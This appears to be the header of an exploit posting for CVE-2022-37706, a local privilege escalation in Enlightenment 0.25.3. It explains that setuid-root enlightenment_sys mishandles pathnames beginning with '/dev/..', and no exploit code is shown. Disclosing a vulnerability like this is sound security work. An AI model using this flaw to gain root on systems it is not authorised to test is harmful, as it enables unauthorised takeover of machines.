## Author: nu11secur1ty
## Date: 12.26.2022
## Vendor: https://www.enlightenment.org/
## Software: https://www.enlightenment.org/download
## Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2022-37706
## Description:
The Enlightenment Version: 0.25.3 is vulnerable to local privilege escalation.
Enlightenment_sys in Enlightenment before 0.25.4 allows local users to
gain privileges because it is setuid root,
and the system library function mishandles pathnames that begin with a
/dev/.. substring
If the attacker has access locally to some machine on which the
machine is installed Enlightenment
he can use this vulnerability to do very dangerous stuff.
